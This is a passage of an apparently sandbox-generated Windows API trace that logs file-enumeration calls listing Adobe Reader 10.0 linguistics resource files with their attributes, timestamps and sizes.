(x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0084.322] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1b35c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x203800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara131.lex", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara32.clx", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="araphon.env", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.fca", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.hyp", cAlternateFileName="")) returned 1 [0084.341] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt04.hsp", cAlternateFileName="")) returned 1 [0084.341] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt32.clx", cAlternateFileName="")) returned 1 [0084.341] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt55.ths", cAlternateFileName="")) returned 1 [0084.342] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.fca", cAlternateFileName="")) returned 1 [0084.342] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.hyp", cAlternateFileName="")) returned 1 [0084.350] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz32.clx", cAlternateFileName="")) returned 1 [0084.350] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz40.hsp", cAlternateFileName="")) returned 1 [0084.350] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul.hyp", cAlternateFileName="")) returned 1 [0084.350] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul120.lex", cAlternateFileName="")) returned 1 [0084.350] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul32.clx", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x0, dwReserved1=0x0, cFileName="bulphon.env", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1240, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.fca", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.hyp", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="can03.ths", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="can129.hsp", cAlternateFileName="")) returned 1 [0084.351] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="can32.clx", cAlternateFileName="")) returned 1 [0084.352] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.fca", cAlternateFileName="")) returned 1 [0084.352] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.hyp", cAlternateFileName="")) returned 1 [0084.352] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr32.clx", cAlternateFileName="")) returned 1 [0084.352] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a251, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr68.hsp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr95.ths", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.fca", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4589f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl28.hsp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.fca", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x127204, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze108.hsp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan45.lex", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan94.ths", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="danphon.env", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.fca", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c06a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut102.hsp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut57.ths", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: 